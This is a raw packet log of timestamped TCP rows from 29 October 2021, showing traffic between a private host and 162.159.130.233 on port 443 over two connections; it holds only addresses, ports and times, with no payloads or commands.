Oct 29, 2021 20:30:31.701253891 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.701284885 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.701291084 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.701316118 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.701430082 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.701453924 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.701499939 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.701505899 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.701530933 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.701603889 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.701627016 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.701662064 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.701672077 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.701714039 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.701812983 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.701833963 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.701877117 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.701884031 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.701916933 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.702359915 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.702384949 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.702420950 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.702430010 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.702450991 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.704530954 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.711812973 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.711842060 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.711954117 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.711965084 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.712114096 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.712138891 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.712181091 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.712189913 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.712197065 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.712352991 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.712374926 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.712423086 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.712430000 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.712436914 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.712527037 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.712548018 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.712579012 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.712585926 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.712601900 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.713296890 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713323116 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713356018 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.713365078 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713382006 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.713511944 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713537931 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713568926 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.713574886 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713614941 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713617086 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.713654995 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713682890 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.713690996 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713747978 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.713877916 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713903904 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713917017 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.713922977 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.713936090 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.713974953 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.714062929 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.714091063 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.714123964 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.714129925 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.714152098 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.714170933 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.715603113 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.715627909 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.715662003 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.715667963 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.715696096 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.715734959 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.715774059 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.715797901 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.715831041 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.715837955 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.715867996 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.715889931 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716063023 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716088057 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716116905 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716123104 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716157913 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716197014 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716214895 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716238022 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716267109 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716273069 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716295004 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716315031 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716511011 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716533899 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716558933 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716563940 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716624022 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716628075 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716747046 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716769934 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716809034 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716814995 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716841936 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716866016 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716881990 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716905117 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716945887 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.716952085 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.716974020 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.717031956 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.717339993 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.717364073 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.717406034 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.717413902 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.717439890 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.717500925 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.717741966 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.717766047 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.717854023 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.717863083 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.717870951 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.717884064 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.717905998 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.717905998 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.717921972 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.717941046 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.717983961 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718112946 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718139887 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718178034 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718184948 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718204975 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718226910 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718589067 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718619108 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718652010 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718658924 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718693018 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718705893 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718713999 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718719959 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718744040 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718750954 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718784094 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718790054 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718806028 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718827963 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718926907 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718957901 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.718985081 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.718991995 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.719018936 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.719031096 CEST	443	49883	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:31.719039917 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.719075918 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.763519049 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:31.812072039 CEST	49883	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.791452885 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.791517019 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.791615963 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.791881084 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.791896105 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.831274033 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.874278069 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.891052008 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.891074896 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.967474937 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.967701912 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.967799902 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.967802048 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.967825890 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.967894077 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.967917919 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968072891 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968152046 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968167067 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.968192101 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968239069 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.968265057 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968391895 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968439102 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.968449116 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968528032 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968585014 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.968594074 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968667030 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968719006 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.968725920 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968801975 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.968852997 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.968859911 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969005108 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969084024 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.969089985 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969163895 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969213963 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.969223976 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969302893 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969350100 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.969356060 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969526052 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969573021 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.969578981 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969667912 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969708920 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.969716072 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969805956 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969847918 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.969854116 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969933987 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.969975948 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.969980955 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970060110 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970102072 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.970109940 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970192909 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970237017 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.970247984 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970324993 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970370054 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.970380068 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970454931 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970500946 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.970510006 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970590115 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970643997 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.970653057 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970721960 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.970779896 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.970788956 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.984069109 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.984146118 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.984167099 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.984222889 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.984951019 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.984999895 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.985061884 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.985081911 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.985097885 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.985135078 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.985137939 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.985148907 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.985197067 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.985214949 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.986104012 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.986136913 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.986198902 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.986211061 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.986212015 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.986222982 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.986258030 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.986268044 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.986325026 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.986356020 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:32.986402035 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.999589920 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:32.999633074 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.001256943 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.001327038 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.001389027 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.001394033 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.001409054 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.001457930 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.001458883 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.001497030 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.001521111 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.001538992 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.001570940 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.001625061 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.001682043 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.001689911 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.001705885 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.001830101 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.001856089 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.001956940 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003206015 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003292084 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003345013 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003410101 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003429890 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003447056 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003452063 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003453970 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003494024 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003506899 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003528118 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003550053 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003602028 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003619909 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003662109 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003684044 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003698111 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003715038 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003755093 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003834009 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003846884 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003894091 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003906965 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003917933 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.003947973 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.003985882 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.004026890 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.004061937 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.004086971 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.004103899 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.004319906 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.004472017 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.004487038 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.004522085 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.004581928 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.004585981 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.004651070 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.004659891 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.004710913 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.004738092 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.004817963 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.004828930 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.004882097 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.004897118 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.004935026 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.019115925 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.019213915 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.019337893 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.019373894 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.019396067 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.019429922 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.019546986 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.019575119 CEST	49884	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:33.019609928 CEST	443	49884	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:33.019654989 CEST	49884	443	192.168.2.3	162.159.130.233
